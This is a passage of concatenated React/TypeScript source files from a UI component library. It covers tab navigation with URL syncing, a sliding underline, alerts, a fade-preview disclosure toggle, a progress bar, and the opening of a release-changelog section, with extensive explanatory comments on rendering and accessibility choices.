active ? 'visible opacity-100 z-[1]' : 'invisible opacity-0 pointer-events-none',\n              panelClassName,\n            )}\n            style={{ transitionDuration: `${durationMs}ms` }}\n            aria-hidden={!active || undefined}\n            inert={!active || undefined}\n          >\n            {p.content}\n          </div>\n        )\n      })}\n    </div>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\n\ninterface TabContentProps {\n  activeTab: string\n  TabComponent: React.ComponentType<any> | null\n  componentProps?: any\n  className?: string\n  emptyStateTitle?: string\n  emptyStateDescription?: string\n  minHeight?: string\n}\n\nexport function TabContent({\n  activeTab,\n  TabComponent,\n  componentProps,\n  className,\n  emptyStateTitle = \"Tab Not Found\",\n  emptyStateDescription,\n  minHeight = \"min-h-[400px]\"\n}: TabContentProps) {\n  const defaultDescription = `The selected tab \"${activeTab}\" could not be found.`\n\n  return (\n    <div className={cn(minHeight, className)}>\n      {TabComponent ? (\n        <TabComponent {...componentProps} />\n      ) : (\n        <div className={cn(minHeight, \"flex items-center justify-center\")}>\n          <div className=\"text-center\">\n            <h3 className=\"text-h3 text-ods-text-primary mb-2\">\n              {emptyStateTitle}\n            </h3>\n            <p className=\"text-ods-text-secondary\">\n              {emptyStateDescription || defaultDescription}\n            </p>\n          </div>\n        </div>\n      )}\n    </div>\n  )\n}","'use client'\n\nimport React, { useState, useEffect, useLayoutEffect, useDeferredValue, useMemo, useRef, useCallback, memo, startTransition } from 'react'\nimport { useSearchParams, useRouter, usePathname } from '../../embed-shims/next-navigation'\nimport { cn } from '../../utils/cn'\n\nexport interface TabItem {\n  id: string\n  label: string\n  /** Optional — text-only tabs (e.g. the homepage content-strip switcher) omit it. */\n  icon?: React.ComponentType<React.SVGProps<SVGSVGElement>>\n  component?: React.ComponentType<any>\n  indicator?: 'success' | 'warning' | 'error'\n}\n\nexport interface TabNavigationUrlSyncOptions {\n  paramName?: string       // Default: 'tab'\n  replaceState?: boolean   // Default: true (use replace instead of push)\n}\n\ninterface TabNavigationProps {\n  // Legacy controlled mode (when urlSync is disabled)\n  activeTab?: string\n  onTabChange?: (tabId: string) => void\n\n  tabs: TabItem[]\n  className?: string\n  shadowClassName?: string // Tailwind class for shadow gradient color, e.g. \"from-black\" or \"from-red-500\"\n  /** Force the right-edge gradient to always render, independent of scroll state. */\n  showRightGradient?: boolean\n  /** Force the left-edge gradient to always render, independent of scroll state. */\n  showLeftGradient?: boolean\n  /** Tabs grow to share the bar's full width equally (Figma segmented-underline\n   *  look, e.g. the 480px homepage strip switcher). Default: natural width. */\n  stretchTabs?: boolean\n\n  // URL sync mode\n  urlSync?: boolean | TabNavigationUrlSyncOptions\n  defaultTab?: string  // Fallback when no valid tab in URL or initial value\n\n  /**\n   * Render prop for the tab BODY. Receives the tab to render and, additively,\n   * a `isStale` flag — true while the bar has already moved to a newly clicked\n   * tab but the body is still showing the PREVIOUS one (see `deferredActiveTab`\n   * below). Use it to dim the body or show a pending hint; without it a slow\n   * tab looks like a tab that simply did nothing.\n   */\n  children?: (activeTab: string, state: { isStale: boolean }) => React.ReactNode\n}\n\n/** Where the underline sits, in the strip's own coordinates. */\ninterface IndicatorRect {\n  left: number\n  width: number\n}\n\nconst HIDDEN_INDICATOR: IndicatorRect = { left: 0, width: 0 }\n\nconst StatusDot = ({ indicator, className }: { indicator: NonNullable<TabItem['indicator']>; className?: string }) => (\n  <div className={cn(\n    \"w-3 h-3 rounded-full border-2 border-ods-bg\",\n    indicator === 'error' && 'bg-ods-error',\n    indicator === 'warning' && 'bg-ods-accent',\n    indicator === 'success' && 'bg-ods-success',\n    className\n  )} />\n)\n\ninterface TabBarProps {\n  tabs: TabItem[]\n  activeTab: string\n  onTabChange: (tabId: string) => void\n  className?: string\n  shadowClassName?: string\n  showLeftGradient: boolean\n  showRightGradient: boolean\n  stretchTabs: boolean\n}\n\n/**\n * The strip itself — buttons, overflow scrolling, edge fades, underline.\n *\n * Split out of `TabNavigation` for one reason, and it is a performance one: the\n * strip keeps state that changes for reasons having nothing to do with which tab\n * is open (scroll position → edge fades, ResizeObserver → re-measure). While\n * that state lived on `TabNavigation`, every one of those updates re-rendered\n * the component that CALLS the body render prop, so merely scrolling the tab\n * strip on a narrow screen re-rendered whatever heavy table was open underneath.\n * Down here it re-renders only the bar; `TabNavigation` — and the body — never\n * hear about it.\n */\nconst TabBar = memo(function TabBar({\n  tabs,\n  activeTab,\n  onTabChange,\n  className,\n  shadowClassName,\n  showLeftGradient,\n  showRightGradient,\n  stretchTabs,\n}: TabBarProps) {\n  const scrollRef = useRef<HTMLDivElement>(null)\n  const activeTabRef = useRef<HTMLButtonElement>(null)\n  const isFirstActiveScrollRef = useRef(true)\n  const [canScrollLeft, setCanScrollLeft] = useState(false)\n  const [canScrollRight, setCanScrollRight] = useState(false)\n\n  // The underline is ONE element that slides, not a div mounted under whichever\n  // tab is active — that version could only ever pop from tab to tab. Position\n  // is measured rather than derived from CSS because the tabs are natural-width\n  // (label-dependent) and live in a scroll container, so nothing but layout\n  // knows where the active one actually is.\n  const [indicator, setIndicator] = useState<IndicatorRect>(HIDDEN_INDICATOR)\n  // Suppresses the slide for the FIRST placement: a deep link landing on the\n  // third tab should not open with the underline gliding in from the left edge.\n  const hasPlacedIndicatorRef = useRef(false)\n\n  const measureIndicator = useCallback(() => {\n    const active = activeTabRef.current\n    // No active tab (unknown id, or an empty tabs array) → collapse it away\n    // rather than leaving it under whichever tab it last sat on.\n    const next = active ? { left: active.offsetLeft, width: active.offsetWidth } : HIDDEN_INDICATOR\n    setIndicator(prev => (prev.left === next.left && prev.width === next.width ? prev : next))\n  }, [])\n\n  const updateScrollShadows = useCallback(() => {\n    const el = scrollRef.current\n    if (!el) return\n    setCanScrollLeft(el.scrollLeft > 0)\n    setCanScrollRight(el.scrollLeft + el.clientWidth < el.scrollWidth - 1)\n  }, [])\n\n  // Layout effect: the underline's first frame must already be under the right\n  // tab. In a passive effect it would paint at the previous position first.\n  useLayoutEffect(() => {\n    measureIndicator()\n  }, [measureIndicator, activeTab, tabs])\n\n  // Flipped only AFTER a real position has been committed, so the transition\n  // class is absent for that first paint and present from the next change on.\n  useLayoutEffect(() => {\n    if (indicator.width > 0) hasPlacedIndicatorRef.current = true\n  }, [indicator])\n\n  useEffect(() => {\n    const el = scrollRef.current\n    if (!el) return\n\n    updateScrollShadows()\n\n    // Translate a vertical mouse wheel into horizontal scroll. macOS mice emit\n    // only deltaY, which the browser won't apply to a horizontal-only overflow\n    // container, so the strip is otherwise un-scrollable with a plain mouse.\n    // Non-passive so preventDefault() can suppress the page from scrolling.\n    const onWheel = (e: WheelEvent) => {\n      // A trackpad's horizontal gesture (deltaX) already scrolls natively; a\n      // pinch-zoom arrives as wheel+ctrlKey — leave both untouched.\n      if (e.deltaX !== 0 || e.ctrlKey) return\n      if (el.scrollWidth <= el.clientWidth) return\n      // deltaY isn't always pixels: Firefox mice report lines (deltaMode 1),\n      // some devices pages (mode 2). Normalize so the scroll isn't a no-op.\n      const delta = e.deltaMode === 1 ? e.deltaY * 40 : e.deltaMode === 2 ? e.deltaY * el.clientWidth : e.deltaY\n      // Only consume the event while there's room to scroll in that direction;\n      // at either edge, let it bubble so the page scrolls (native chaining).\n      const canGoRight = el.scrollLeft + el.clientWidth < el.scrollWidth - 1\n      const canGoLeft = el.scrollLeft > 0\n      if ((delta > 0 && !canGoRight) || (delta < 0 && !canGoLeft)) return\n      el.scrollLeft += delta\n      e.preventDefault()\n    }\n\n    // Scrolling moves the viewport, not the content — `offsetLeft` is unchanged,\n    // so only the fades need recomputing. A resize moves both.\n    el.addEventListener('scroll', updateScrollShadows, { passive: true })\n    el.addEventListener('wheel', onWheel, { passive: false })\n    const ro = new ResizeObserver(() => {\n      updateScrollShadows()\n      measureIndicator()\n    })\n    ro.observe(el)\n    // Web fonts land after first paint and change every label's width, which\n    // moves every tab but fires no resize on the strip itself.\n    let cancelled = false\n    document.fonts?.ready.then(() => { if (!cancelled) measureIndicator() }).catch(() => {})\n\n    return () => {\n      cancelled = true\n      el.removeEventListener('scroll', updateScrollShadows)\n      el.removeEventListener('wheel', onWheel)\n      ro.disconnect()\n    }\n  }, [updateScrollShadows, measureIndicator])\n\n  // Bring the active tab into view when it changes (e.g. clicking a partly\n  // off-screen tab, or a URL-driven change). Uses the browser's own smooth\n  // scroll and moves ONLY the strip — never the page — by nudging just enough\n  // to reveal the tab on whichever edge it's clipped. Complements the native\n  // trackpad / Shift+wheel / mouse-wheel scrolling rather than fighting it.\n  useEffect(() => {\n    const el = scrollRef.current\n    const active = activeTabRef.current\n    if (!el || !active) return\n    // On mount (e.g. a deep link landing on an off-screen tab, such as\n    // `?tab=software` as the last of many), snap instantly instead of visibly\n    // sliding right after first paint — smooth is reserved for later tab changes.\n    const behavior = isFirstActiveScrollRef.current ? 'auto' : 'smooth'\n    isFirstActiveScrollRef.current = false\n    const elRect = el.getBoundingClientRect()\n    const aRect = active.getBoundingClientRect()\n    if (aRect.left < elRect.left) {\n      el.scrollBy({ left: aRect.left - elRect.left, behavior })\n    } else if (aRect.right > elRect.right) {\n      el.scrollBy({ left: aRect.right - elRect.right, behavior })\n    }\n  }, [activeTab])\n\n  const leftFade = canScrollLeft || showLeftGradient\n  const rightFade = canScrollRight || showRightGradient\n\n  const borderStyle = useMemo<React.CSSProperties>(() => {\n    const c = 'var(--color-border-default)'\n    if (leftFade && rightFade) {\n      return { background: `linear-gradient(to right, transparent 0, ${c} 40px, ${c} calc(100% - 40px), transparent 100%)` }\n    }\n    if (leftFade) {\n      return { background: `linear-gradient(to right, transparent 0, ${c} 40px, ${c} 100%)` }\n    }\n    if (rightFade) {\n      return { background: `linear-gradient(to right, ${c} 0, ${c} calc(100% - 40px), transparent 100%)` }\n    }\n    return { background: c }\n  }, [leftFade, rightFade])\n\n  // Real width, moved by `translateX`. This used to be a 1px bar stretched with\n  // `scaleX(width)` — transform and opacity being the only properties the\n  // compositor can animate without laying out again — but scaling from a ONE\n  // PIXEL base turns that pixel into an error multiplier.\n  //\n  // A CSS pixel only lands on a whole device pixel at integer scale factors. At\n  // 125% / 150% OS scaling, a scaled Mac resolution, or any browser zoom, the\n  // base is rasterized at the nearest whole device pixel — call it 0.8 or 1.33\n  // CSS px — and `scaleX(150)` multiplies that rounding by 150. The underline\n  // then renders a fifth short or a third long, per tab, with `measureIndicator`\n  // having been perfectly correct all along. It shows up from the SECOND tab\n  // change on, because that is when the transition promotes the bar into its own\n  // composited layer, where it is rasterized in its own 1×4 coordinate space and\n  // only then stretched.\n  //\n  // Animating `width` costs a layout per frame for this one element — it is\n  // `absolute`, so nothing else in the strip is laid out with it, and 200ms of\n  // that for a 4px-tall bar is not measurable. Correctness at every zoom level\n  // is worth more than keeping one property on the compositor.\n  const isPlaced = indicator.width > 0\n  const indicatorStyle: React.CSSProperties = {\n    width: `${indicator.width}px`,\n    transform: `translateX(${indicator.left}px)`,\n    opacity: isPlaced ? 1 : 0,\n  }\n  const shouldAnimateIndicator = hasPlacedIndicatorRef.current\n\n  return (\n    <div className={cn(\"relative w-full\", className)}>\n      {/* scrollbar-hide: tabs stay swipe/wheel-scrollable, bar never shows.\n          `relative` makes this the offsetParent the underline is measured against. */}\n      <div ref={scrollRef} className=\"relative flex gap-[var(--spacing-system-xxs)] items-center justify-start h-full overflow-x-auto overflow-y-hidden scrollbar-hide\">\n        {tabs.map((tab) => {\n          const isActive = activeTab === tab.id\n\n          return (\n            <button\n              key={tab.id}\n              ref={isActive ? activeTabRef : undefined}\n              type=\"button\"\n              onClick={() => onTabChange(tab.id)}\n              className={cn(\n                \"flex gap-[var(--spacing-system-xxs)] items-center justify-center p-[var(--spacing-system-m)] relative shrink-0 cursor-pointer\",\n                // Named rather than `transition-all`: the only thing that moves\n                // here is colour. `all` also made the browser re-check every\n                // property each frame, including the background GRADIENT — which\n                // never animated anyway, since the inactive state has no\n                // background-image to interpolate from.\n                \"transition-colors duration-200 bg-transparent border-none outline-none\",\n                // `outline-none` above drops the browser's own focus ring, so\n                // put one back or the strip is un-navigable by keyboard — you\n                // can tab through it with nothing to show where you are. Inset,\n                // so it stays within the button instead of overlapping the tab\n                // sitting 4px away.\n                \"focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-focus\",\n                stretchTabs && 'flex-1',\n                // Known limitation: ODS color vars hold hex values, so Tailwind\n                // alpha modifiers (to-ods-accent/10) silently produce no CSS.\n                // color-mix() accepts hex, so we derive the 10%-alpha stop from the token.\n                isActive\n                  ? 'bg-gradient-to-b from-transparent to-[color-mix(in_srgb,var(--color-accent-primary)_10%,transparent)]'\n                  : 'hover:bg-gradient-to-b hover:from-transparent hover:to-[color-mix(in_srgb,var(--color-accent-primary)_10%,transparent)]'\n              )}\n            >\n              {tab.icon ? (\n                <div className=\"relative flex items-center justify-center\">\n                  <tab.icon\n                    className={cn(\"h-4 w-4 md:h-6 md:w-6 transition-colors\", isActive ? 'text-ods-accent' : 'text-ods-text-secondary')}\n                  />\n                  {tab.indicator && <StatusDot indicator={tab.indicator} className=\"absolute right-0 top-[-3px]\" />}\n                </div>\n              ) : tab.indicator ? (\n                // Text-only tabs keep their status badge — inline dot before\n                // the label (there's no icon corner to anchor to).\n                <StatusDot indicator={tab.indicator} className=\"shrink-0\" />\n              ) : null}\n\n              <span className={cn(\n                \"text-h4 whitespace-nowrap transition-colors\",\n                isActive ? 'text-ods-text-primary' : 'text-ods-text-secondary'\n              )}>\n                {tab.label}\n              </span>\n            </button>\n          )\n        })}\n\n        {/* One underline for the whole strip, sliding between tabs. Inside the\n            scroll container so it travels with the content. Width comes from the\n            style below in real pixels — see why it is not a scaled 1px bar. */}\n        <div\n          aria-hidden\n          className={cn(\n            \"pointer-events-none absolute bottom-0 left-0 h-1 bg-ods-accent\",\n            shouldAnimateIndicator && \"transition-[transform,width,opacity] duration-200 ease-out motion-reduce:transition-none\"\n          )}\n          style={indicatorStyle}\n        />\n      </div>\n\n      {/* Fade shadows — visible when content overflows or when forced via props */}\n      {leftFade && (\n        <div className={cn(\"absolute left-0 top-0 bottom-0 w-10 pointer-events-none bg-gradient-to-r to-transparent\", shadowClassName || \"from-ods-bg\")} />\n      )}\n      {rightFade && (\n        <div className={cn(\"absolute right-0 top-0 bottom-0 w-10 pointer-events-none bg-gradient-to-l to-transparent\", shadowClassName || \"from-ods-bg\")} />\n      )}\n\n      {/* Bottom border — a gradient-capable 1px line that fades to transparent on any edge that has an active fade shadow. */}\n      <div className=\"absolute bottom-0 left-0 right-0 h-px pointer-events-none\" style={borderStyle} />\n    </div>\n  )\n})\n\nexport function TabNavigation({\n  activeTab: controlledActiveTab,\n  onTabChange: controlledOnTabChange,\n  tabs,\n  className,\n  shadowClassName,\n  showRightGradient = false,\n  showLeftGradient = false,\n  stretchTabs = false,\n  urlSync = false,\n  defaultTab,\n  children\n}: TabNavigationProps) {\n  const router = useRouter()\n  const pathname = usePathname()\n  const searchParams = useSearchParams()\n\n  // Determine URL sync settings\n  const isUrlSyncEnabled = !!urlSync\n  const paramName = typeof urlSync === 'object' ? (urlSync.paramName || 'tab') : 'tab'\n  const replaceState = typeof urlSync === 'object' ? (urlSync.replaceState !== false) : true\n\n  // Valid tab IDs set\n  const validTabIds = useMemo(() => new Set(tabs.map(t => t.id)), [tabs])\n  // A string, so the sync effect below depends on a VALUE rather than on the\n  // `tabs` array identity — a consumer passing an inline array literal would\n  // otherwise re-run that effect on every one of its renders.\n  const fallbackTab = defaultTab || tabs[0]?.id || ''\n\n  // What the URL currently says. Read during render (not in the effect) so the\n  // effect can compare it against the last value it ACTED on.\n  const urlTab = isUrlSyncEnabled ? (searchParams?.get(paramName) || '') : ''\n\n  // Get initial tab value\n  const getInitialTab = () => {\n    if (isUrlSyncEnabled && validTabIds.has(urlTab)) return urlTab\n    return fallbackTab\n  }\n\n  // Internal state for URL sync mode\n  const [internalActiveTab, setInternalActiveTab] = useState(getInitialTab)\n\n  // Use internal state if URL sync is enabled, otherwise use controlled prop\n  const activeTab = isUrlSyncEnabled ? internalActiveTab : (controlledActiveTab || '')\n\n  // The last URL value this component reconciled against.\n  const lastSyncedUrlTabRef = useRef(urlTab)\n  // Tabs written to the URL whose navigation has not landed yet, oldest first.\n  // Until a write lands, `searchParams` still reports the PREVIOUS tab — and\n  // reading that as somebody else editing the URL is exactly what used to push\n  // the tab back to where the click started.\n  const inFlightUrlTabsRef = useRef<string[]>([])\n\n  // Sync with URL changes (back/forward navigation, a link into a tab).\n  //\n  // Not guarded on `nextTab !== internalActiveTab`, which is what this used to\n  // compare. That re-ran whenever our own click moved the state, and at that\n  // moment `router.replace` has not landed — so it read the tab we just left,\n  // decided the state was wrong, and pushed the tab BACK, only for the arriving\n  // URL to move it forward again. Whether the flicker was visible came down to\n  // whether the navigation beat the passive-effect flush.\n  //\n  // The three cases below are the three things that can actually have happened.\n  useEffect(() => {\n    if (!isUrlSyncEnabled) return\n\n    // 1. One of our own writes arriving. The state moved on the click, so there\n    //    is nothing to set — just drop it, along with anything written before it\n    //    that a faster second click has already superseded.\n    const landed = inFlightUrlTabsRef.current.indexOf(urlTab)\n    if (landed !== -1) {\n      inFlightUrlTabsRef.current.splice(0, landed + 1)\n      lastSyncedUrlTabRef.current = urlTab\n      return\n    }\n\n    // 2. The URL has not moved. Either a write is still in flight and this run\n    //    is an unrelated re-render landing in the gap (a `tabs` array with a\n    //    fresh identity, say — which a guard on the URL alone would misread as\n    //    an external change and use to undo the click), or the TAB LIST itself\n    //    changed. The latter is why a URL guard is not enough on its own: a\n    //    consumer whose tabs load asynchronously mounts with an empty list,\n    //    resolves to no tab, and would then wait for a URL change that never\n    //    comes — deep link dropped, nothing ever active. So re-resolve, but only\n    //    when what we are showing is no longer in the list.\n    if (urlTab === lastSyncedUrlTabRef.current) {\n      setInternalActiveTab(prev =>\n        validTabIds.has(prev) ? prev : validTabIds.has(urlTab) ? urlTab : fallbackTab,\n      )\n      return\n    }\n\n    // 3. The URL moved somewhere we did not write it: back/forward, a redirect,\n    //    a link elsewhere on the page. That wins, and anything still in flight\n    //    is stale by definition.\n    inFlightUrlTabsRef.current.length = 0\n    lastSyncedUrlTabRef.current = urlTab\n    setInternalActiveTab(validTabIds.has(urlTab) ? urlTab : fallbackTab)\n  }, [isUrlSyncEnabled, urlTab, validTabIds, fallbackTab])\n\n  // Everything the click handler reads but must not be re-created for. Held in\n  // a ref so `handleTabChange` is reference-stable: it is the one prop that\n  // would otherwise break `TabBar`'s memo on every navigation, since\n  // `searchParams` gets a new identity each time ANY query param moves.\n  const navRef = useRef({ isUrlSyncEnabled, controlledOnTabChange, searchParams, pathname, paramName, replaceState })\n  // Filled in an effect rather than in the render body. With `useDeferredValue`\n  // this component renders more than once per commit, and React is free to\n  // discard a render outright — a ref written during one of those would hand the\n  // click handler a `pathname`/`searchParams` pair that never committed, and the\n  // click would write its query string against the wrong URL. A click can only\n  // arrive after a commit, so the handler still reads current values.\n  useEffect(() => {\n    navRef.current = { isUrlSyncEnabled, controlledOnTabChange, searchParams, pathname, paramName, replaceState }\n  })\n\n  const handleTabChange = useCallback((tabId: string) => {\n    const nav = navRef.current\n\n    if (!nav.isUrlSyncEnabled) {\n      // Legacy controlled mode\n      nav.controlledOnTabChange?.(tabId)\n      return\n    }\n\n    // The bar follows the click immediately — this update stays urgent.\n    setInternalActiveTab(tabId)\n    // ...and is what the URL is about to say. Recorded so the sync effect knows\n    // the param arriving later is ours, and knows that until it does arrive the\n    // URL is merely stale rather than disagreeing with us. Skipped when it is\n    // already the newest thing in flight, so a double-click on one tab does not\n    // queue the same id twice.\n    const inFlight = inFlightUrlTabsRef.current\n    if (inFlight[inFlight.length - 1] !== tabId) inFlight.push(tabId)\n\n    const params = new URLSearchParams(nav.searchParams?.toString())\n    params.set(nav.paramName, tabId)\n    const method = nav.replaceState ? 'replace' : 'push'\n    // Non-urgent: the navigation re-renders every `useSearchParams()` subscriber\n    // on the page, which is a lot of work for a query param nobody is waiting\n    // on. In a transition it yields to the click feedback instead of competing\n    // with it.\n    startTransition(() => {\n      // `scroll: false` because only a query param moves here. The App Router\n      // otherwise scrolls to the top on every navigation, which throws away the\n      // reading position of anyone using a tab strip partway down a page.\n      router[method](`${nav.pathname}?${params.toString()}`, { scroll: false })\n    })\n\n    nav.controlledOnTabChange?.(tabId)\n  }, [router])\n\n  // The tab BAR follows the click immediately; the tab BODY is deferred, which\n  // makes React treat swapping it as a transition. That is the whole fix for the\n  // flash: a tab whose data is not in the client cache yet SUSPENDS the moment it\n  // mounts, and outside a transition React has to show that Suspense fallback —\n  // so the skeleton appears for a frame before the real content lands. Inside a\n  // transition React keeps the previous tab on screen and swaps only once the new\n  // one is ready. Deferring the body rather than the whole state keeps the\n  // underline responsive, so the click still feels instant.\n  //\n  // Two things this asks of the consumer, both worth knowing:\n  //  - The render prop runs on BOTH passes (once with the old id, once with the\n  //    new). Put anything expensive behind `memo` so the first pass is free.\n  //  - A SLOW tab leaves the previous tab's content under the new tab's\n  //    underline with nothing saying so — worse than a skeleton, because stale\n  //    data reads as fresh data. `isStale` is handed to the render prop so the\n  //    body can mark itself while it waits.\n  const deferredActiveTab = useDeferredValue(activeTab)\n  const isStale = activeTab !== deferredActiveTab\n\n  return (\n    <>\n      <TabBar\n        tabs={tabs}\n        activeTab={activeTab}\n        onTabChange={handleTabChange}\n        className={className}\n        shadowClassName={shadowClassName}\n        showLeftGradient={showLeftGradient}\n        showRightGradient={showRightGradient}\n        stretchTabs={stretchTabs}\n      />\n\n      {/* Render children with active tab if provided */}\n      {children && children(deferredActiveTab, { isStale })}\n    </>\n  )\n}\n\n// Utility function to get tab by id\nexport const getTabById = (tabs: TabItem[], tabId: string): TabItem | undefined =>\n  tabs.find(tab => tab.id === tabId)\n\n// Utility function to get tab component\nexport const getTabComponent = (tabs: TabItem[], tabId: string): React.ComponentType<any> | null => {\n  const tab = getTabById(tabs, tabId)\n  return tab?.component || null\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst alertVariants = cva(\n  \"relative w-full rounded-lg border p-4 [&>svg~*]:pl-7 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground\",\n  {\n    variants: {\n      variant: {\n        default: \"bg-background text-foreground\",\n        destructive:\n          \"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive\",\n        warning:\n          \"border-transparent bg-ods-warning-secondary text-ods-warning [&>svg]:text-ods-warning\",\n      },\n    },\n    defaultVariants: {\n      variant: \"default\",\n    },\n  }\n)\n\nconst Alert = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement> & VariantProps<typeof alertVariants>\n>(({ className, variant, ...props }, ref) => (\n  <div\n    ref={ref}\n    role=\"alert\"\n    className={cn(alertVariants({ variant }), className)}\n    {...props}\n  />\n))\nAlert.displayName = \"Alert\"\n\nconst AlertTitle = React.forwardRef<\n  HTMLParagraphElement,\n  React.HTMLAttributes<HTMLHeadingElement>\n>(({ className, ...props }, ref) => (\n  <h5\n    ref={ref}\n    className={cn(\"mb-1 font-medium leading-none tracking-tight\", className)}\n    {...props}\n  />\n))\nAlertTitle.displayName = \"AlertTitle\"\n\nconst AlertDescription = React.forwardRef<\n  HTMLParagraphElement,\n  React.HTMLAttributes<HTMLParagraphElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\"text-h6 [&_p]:leading-relaxed\", className)}\n    {...props}\n  />\n))\nAlertDescription.displayName = \"AlertDescription\"\n\nexport { Alert, AlertTitle, AlertDescription }\n","import { Badge } from './badge';\nimport { Sparkles } from 'lucide-react';\n\n/**\n * Canonical \"AI Generated\" chip (Sparkles + label). Single source of truth for\n * every AI-generated indicator across the app — replaces the byte-identical\n * inline `<Badge variant=\"secondary\"><Sparkles/> AI Generated</Badge>` that was\n * copy-pasted across the summary / video / SEO editors.\n */\nexport function AIGeneratedBadge({ className }: { className?: string }) {\n  return (\n    <Badge variant=\"secondary\" className={`flex items-center gap-1${className ? ` ${className}` : ''}`}>\n      <Sparkles className=\"h-3 w-3\" />\n      AI Generated\n    </Badge>\n  );\n}\n","\"use client\"\n\nimport React, { useState, useRef, useEffect } from 'react';\nimport { ChevronDown } from 'lucide-react';\n\n/**\n * FadePreview — the single shared progressive-disclosure primitive for\n * long lists/sections: renders children inside a height-clamped wrapper\n * whose bottom fades out via a CSS mask, with a \"Show N more / Show less\"\n * toggle below.\n *\n * Extracted from `ReleaseChangelogSection`'s `previewFirst` mode (which\n * itself unified the investor-update detail page's duplicated\n * `FadedHighlightSection`). Every fade-preview surface must compose THIS\n * component — do not re-inline the mask/clamp/toggle trio.\n *\n * When `hiddenCount <= 0` the children render unclamped and no toggle\n * shows (single-entry sections need no disclosure).\n */\nexport interface FadePreviewProps {\n  /** How many items are visually hidden while collapsed — drives the\n   *  \"Show N more\" label. Pass `total - visible`; `<= 0` disables the\n   *  clamp + fade + toggle entirely. */\n  hiddenCount: number;\n  /** Collapsed height in px. ~120 shows one changelog entry's title +\n   *  the start of its description before the mask kicks in. Callers with\n   *  taller rows (e.g. delivery tables) pass a larger value. */\n  collapsedHeight?: number;\n  /** Reset the expanded state when this value changes — otherwise a\n   *  parent that refetches and shrinks the list would leave a stale\n   *  \"expanded\" state and a momentarily-wrong \"Show 0 more\" button.\n   *  Callers typically pass the item count. */\n  resetKey?: unknown;\n  children: React.ReactNode;\n}\n\nexport function FadePreview({\n  hiddenCount,\n  collapsedHeight = 120,\n  resetKey,\n  children,\n}: FadePreviewProps) {\n  const [expanded, setExpanded] = useState(false);\n  const contentRef = useRef<HTMLDivElement>(null);\n\n  useEffect(() => {\n    setExpanded(false);\n  }, [resetKey]);\n\n  const needsFade = hiddenCount > 0;\n\n  // No disclosure needed → no clamp wrapper at all. (Keeping the wrapper\n  // with a `scrollHeight ?? 2000` max-height would clip tall content on\n  // the first render, before the ref measures.)\n  if (!needsFade) return <>{children}</>;\n\n  return (\n    <div className=\"relative\">\n      <div\n        ref={contentRef}\n        className=\"overflow-hidden transition-[max-height] duration-500\"\n        style={{\n          transitionTimingFunction: 'cubic-bezier(0.33, 1, 0.68, 1)',\n          maxHeight: expanded\n            ? contentRef.current?.scrollHeight ?? 2000\n            : collapsedHeight,\n          ...(!expanded ? {\n            maskImage: 'linear-gradient(to bottom, black 30%, transparent 100%)',\n            WebkitMaskImage: 'linear-gradient(to bottom, black 30%, transparent 100%)',\n          } : {}),\n        }}\n      >\n        {children}\n      </div>\n      <button\n        type=\"button\"\n        onClick={() => setExpanded(!expanded)}\n        className=\"mt-4 flex items-center gap-1.5 text-h6 text-ods-text-secondary hover:text-ods-accent transition-colors duration-200\"\n      >\n        <span>{expanded ? 'Show less' : `Show ${hiddenCount} more`}</span>\n        <ChevronDown\n          className={`w-3.5 h-3.5 transition-transform duration-300 ${expanded ? 'rotate-180' : ''}`}\n        />\n      </button>\n    </div>\n  );\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as ProgressPrimitive from \"@radix-ui/react-progress\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst Progress = React.forwardRef<\n  React.ElementRef<typeof ProgressPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof ProgressPrimitive.Root> & {\n    indicatorClassName?: string\n  }\n>(({ className, value, indicatorClassName, ...props }, ref) => (\n  <ProgressPrimitive.Root\n    ref={ref}\n    className={cn(\"relative h-2 w-full overflow-hidden rounded-full bg-secondary\", className)}\n    {...props}\n  >\n    <ProgressPrimitive.Indicator\n      className={cn(\"h-full w-full flex-1 bg-primary transition-all\", indicatorClassName)}\n      style={{ transform: `translateX(-${100 - (value || 0)}%)` }}\n    />\n  </ProgressPrimitive.Root>\n))\nProgress.displayName = ProgressPrimitive.Root.displayName\n\nexport { Progress }\n","\"use client\"\n\nimport React, { useState } from 'react';\nimport { Badge } from './badge';\nimport { ChevronDown } from 'lucide-react';\nimport { FadePreview } from './fade-preview';\nimport { RichMarkdownRenderer } from './markdown';\nimport type { ChangelogEntry } from '../../types/product-release';\n\ninterface ReleaseChangelogSectionProps {\n  title: string;\n  entries: ChangelogEntry[];\n  isBreaking?: boolean;\n  hideTitle?: boolean;\n  /** When true, section starts collapsed and can be toggled open/closed\n   *  via a button on the title row. Mutually exclusive with `previewFirst`. */\n  collapsible?: boolean;\n  /** Initial collapsed state (only used when collapsible=true). Defaults to true (collapsed). */\n  defaultCollapsed?: boolean;\n  /** When true, render the first entry in full and fade-mask the rest\n   *  with a \"Show N more / Show less\" toggle below the list. Hides the\n   *  fade + toggle when there's only one entry. Mutually exclusive with\n   *  `collapsible` — when both are passed, `collapsible` wins.\n   *\n   *  This is the same progressive-disclosure pattern used on the\n   *  investor-update detail page's Key Highlights / Financial Notes\n   *  sections (formerly a duplicated `FadedHighlightSection` component\n   *  in the hub — unified here). */\n  previewFirst?: boolean;\n  /** Optional lucide icon rendered inline before the title text. Matches the\n   *  catalog card's changelog-strip icons (Sparkles for Features, Wrench for\n   *  Fixes, TrendingUp for Improvements, AlertTriangle for Breaking) — same\n   *  visual taxonomy across catalog and detail. Inherits the title's color\n   *  (secondary for normal sections, red for breaking). */\n  icon?: React.ReactNode;\n  /** Markdown renderer for each entry's description. Optional — defaults to\n   *  the lib's `RichMarkdownRenderer` so changelog rich-link previews\n   *  (YouTube, OG cards, etc.) work out of the box. Hosts that already\n   *  wrap with a Supabase-aware preset can keep passing their own. */\n  MarkdownRenderer?: React.ComponentType<{ content: string }>;\n}\n\n// Collapsed height for the preview-first mode. ~120px shows the first\n// entry's title + the start of its description before the mask kicks 